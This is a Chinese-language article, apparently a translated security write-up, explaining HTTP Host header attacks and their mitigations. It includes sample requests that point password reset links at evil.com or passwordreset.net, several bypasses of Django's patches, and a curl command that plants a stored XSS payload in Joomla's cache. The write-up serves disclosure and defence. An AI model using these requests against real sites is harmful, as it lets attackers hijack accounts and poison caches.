0x00 背景一般通用web程序是如果想知道網(wǎng)站域名不是一件簡單的事情，如果用一個(gè)固定的URI來作為域名會(huì)有各種麻煩。開發(fā)人員一般是依賴HTTP Host header（比如在php里是_SERVER["HTTP_HOST"] ），而這個(gè)header很多情況下是靠不住的。而很多應(yīng)用是直接把這個(gè)值不做html編碼便輸出到了頁面中，比如： (Django, Gallery, others)這樣處理問題一般會(huì)很容易遭遇到兩種常見的攻擊：緩存污染和密碼重置。緩存污染是指攻擊者通過控制一個(gè)緩存系統(tǒng)來將一個(gè)惡意站點(diǎn)的頁面返回給用戶。

密碼重置這種攻擊主要是因?yàn)榘l(fā)送給用戶的內(nèi)容是可以污染的，也就是說可以間接的劫持郵件發(fā)送內(nèi)容。0x01 密碼重置污染攻擊拿 Gallery （http://galleryproject.org/）這個(gè)站來做例子。

當(dāng)我們進(jìn)行密碼重置的時(shí)候，網(wǎng)站會(huì)給我們發(fā)送一個(gè)隨機(jī)的key：#!php$user -> hash = random::hash() ;$message -> confirm_url = url::abs_site("password/do_reset?key=$user->hash") ;當(dāng)用戶點(diǎn)擊重置密碼的鏈接時(shí)，肯定可以說明點(diǎn)的是自己的賬戶。這個(gè)地方的漏洞是： url::abs_site 這一部分使用的Host header是來自用戶重置密碼的請求，那么攻擊者可以通過一個(gè)受他控制的鏈接來污染密碼重置的郵件。> POST /password/reset HTTP/1.1> Host: evil.com> ...> csrf=1e8d5c9bceb16667b1b330cc5fd48663&name=admin這個(gè)漏洞在Django，Piwik 和Joomla中都存在，還有一些其他的應(yīng)用，框架和類庫。當(dāng)然這種攻擊方式一定要能騙取用戶點(diǎn)擊訪問這個(gè)受污染的鏈接，如果用戶警覺了沒有點(diǎn)擊，那么攻擊就會(huì)失敗。

當(dāng)然你自己也可以配合一些社會(huì)工程學(xué)的方法來保證攻擊的成功率。還有一些情況，Host可能會(huì)被url編碼后直接放到email的header里面造成header注入。通過這個(gè)，攻擊者可以很容易的就能劫持用戶的賬戶。0x02 緩存污染通過Host header來污染緩存的攻擊方法最初是Carlos Beuno 在2008年提出來的。但是在現(xiàn)在的網(wǎng)絡(luò)架構(gòu)中，這種攻擊還是比較困難的，因?yàn)楝F(xiàn)在的緩存設(shè)備都能夠識(shí)別Host。

比如對于下面的這兩種情況他們絕對不會(huì)弄混淆：> GET /index/1.html HTTP/1.1 > GET /index/1.html HTTP/1.1> Host: example.com > Host: evil.com因此為了能使緩存能將污染后的response返回給用戶，我們還必須讓緩存服務(wù)器看到的host header 和應(yīng)用看到的host header 不一樣。

比如說對于Varnish（一個(gè)很有名的緩存服務(wù)軟件），可以使用一個(gè)復(fù)制的Host header。Varnish是通過最先到達(dá)的請求的host header來辨別host的，而Apache則是看所有請求的host，Nginx則只是看最后一個(gè)請求的host。這就意味著你可以通過下面這個(gè)請求來欺騙Varnish達(dá)到污染的目的：> GET / HTTP/1.1> Host: example.com> Host: evil.com應(yīng)用本身的緩存也可能受到污染。比如Joomla就將取得的host值不經(jīng)html編碼便寫進(jìn)任意頁面，而它的緩存則對這些沒有任何處理。

比如可以通過下面的請求來寫入一個(gè)存儲(chǔ)型的xss：curl -H "Host: cowonerror='alert(1)'rel='stylesheet'" http://example.com/ | fgrep cow實(shí)際上的請求是這樣的：> GET / HTTP/1.1> Host: cow"onerror='alert(1)'rel='stylesheet'響應(yīng)其實(shí)已經(jīng)受到污染：這時(shí)只需要瀏覽首頁看是否有彈窗就知道緩存是否已經(jīng)被污染了。0x03 安全的配置在這里我假設(shè)你可以通過任何類型的應(yīng)用來發(fā)起一個(gè)http請求，而host header也是可以任意編輯的。

雖然在一個(gè)http請求里，host header是用來告訴webserver該請求應(yīng)該轉(zhuǎn)發(fā)給哪個(gè)站點(diǎn)，但是事實(shí)上，這個(gè)header的作用或者說風(fēng)險(xiǎn)并不止如此。比如如果Apache接收到一個(gè)帶有非法host header的請求，它會(huì)將此請求轉(zhuǎn)發(fā)給在 httpd.conf 里定義的第一個(gè)虛擬主機(jī)。因此，Apache很有可能將帶有任意host header的請求轉(zhuǎn)發(fā)給應(yīng)用。而Django已經(jīng)意識(shí)到了這個(gè)缺陷，所以它建議用戶另外建立一個(gè)默認(rèn)的虛擬主機(jī)，用來接受這些帶有非法host header的請求，以保證Django自己的應(yīng)用不接受到這些請求。不過可以通過X-Forwarded-Host 這個(gè)header就可以繞過。

Django非常清楚緩存污染的風(fēng)險(xiǎn)，并且在2011年的9月份就通過默認(rèn)禁用X-Forwarded-Host這個(gè)header來修復(fù)此問題。Mozilla卻在addons.mozilla.org站點(diǎn)忽視了此問題，我在2012年的4月發(fā)現(xiàn)了此問題：> POST /en-US/firefox/user/pwreset HTTP/1.1> Host: addons.mozilla.org> X-Forwarded-Host: evil.com即使Django給出了補(bǔ)丁，但是依然存在風(fēng)險(xiǎn)。Webserver允許在host header里面指定端口，但是它并不能通過端口來識(shí)別請求是對應(yīng)的哪個(gè)虛擬主機(jī)。

可以通過下面的方法來繞過：> POST /en-US/firefox/user/pwreset HTTP/1.1> Host: addons.mozilla.org:@passwordreset.net這直接會(huì)導(dǎo)致生成一個(gè)密碼重置鏈接： https://addons.mozilla.org:@passwordreset.net/users/pwreset/3f6hp/3ab-9ae3db614fc0d0d036d4當(dāng)用戶點(diǎn)擊這個(gè)鏈接的時(shí)候就會(huì)發(fā)現(xiàn)，其實(shí)這個(gè)key已經(jīng)被發(fā)送到passwordreset.net這個(gè)站點(diǎn)了。在我報(bào)告了此問題后，Django又推出了一個(gè)補(bǔ)?。篽ttps://www.djangoproject.com/weblog/2012/oct/17/security/不幸的是，這個(gè)補(bǔ)丁只是簡單的通過黑名單方式來簡單的過濾掉了@和其他一些字符。

而由于密碼重置鏈接是以純文本而不是html的方式發(fā)送的，所以此補(bǔ)丁只需要添加一個(gè)空格就可以繞過：> POST /en-US/firefox/users/pwreset HTTP/1.1> Host: addons.mozilla.org: www.securepasswordreset.comDjango的后續(xù)補(bǔ)丁規(guī)定了host header的端口部分只能是含有數(shù)字，以規(guī)避此問題。但是在RFC2616文檔中規(guī)定了，如果請求URI是一個(gè)絕對的URI，那么host是Request-URI的一部分。在請求中的任何Host header值必須被忽略。

也就是說，在Apache和Nginx（只要是遵守此文檔的webserver）中，可以通過絕對uri向任意應(yīng)用發(fā)送一個(gè)包含有任意host header的請求：> POST https://addons.mozilla.org/en-US/firefox/users/pwreset HTTP/1.1> Host: evil.com這個(gè)請求在SERVER_NAME里面的值是addons.mozilla.org，而不是host里的evil.com。應(yīng)用可以通過使用SERVER_NAME而不是host header來規(guī)避此風(fēng)險(xiǎn)，但是如果沒有配合特殊配置的webserver，這個(gè)風(fēng)險(xiǎn)依然存在?？梢栽谶@里http://stackoverflow.com/questions/2297403/http-host-vs-server-name/2297421#2297421看看 HTTP_HOST 和SERVER_NAME 的區(qū)別。

Django官方在2013年的二月通過強(qiáng)制使用一個(gè)host白名單來修復(fù)了此問題。盡管如此，在很多其他的wen應(yīng)用上，這種攻擊方式依然屢試不爽。0x04 服務(wù)器方面需要做的由于http請求的特點(diǎn)，host header的值其實(shí)是不可信的。唯一可信的只有SERVER_NAME，這個(gè)在Apache和Nginx里可以通過設(shè)置一個(gè)虛擬機(jī)來記錄所有的非法host header。在Nginx里還可以通過指定一個(gè)SERVER_NAME名單，Apache也可以通過指定一個(gè)SERVER_NAME名單并開啟UseCanonicalName選項(xiàng)。建議兩種方法同時(shí)使用。Varnish很快會(huì)發(fā)布一個(gè)補(bǔ)丁。

在官方補(bǔ)丁出來前，可以通過在配置文件里加入：import std; sub vcl_recv { std.collect(req.http.host); }來防護(hù)。0x05 應(yīng)用本身需要做的解決這個(gè)問題其實(shí)是很困難的，因?yàn)闆]有完全自動(dòng)化的方法來幫助站長識(shí)別哪些host 的值是值得信任的。雖然做起來有點(diǎn)麻煩，但是最安全的做法是：效仿Django的方法，在網(wǎng)站安裝和初始化的時(shí)候，要求管理員提供一個(gè)可信任的域名白名單。如果這個(gè)實(shí)現(xiàn)起來比較困難，那至少也要保證使用SERVER_NAME而不是host header，并且鼓勵(lì)用戶使用安全配置做的比較好的站點(diǎn)。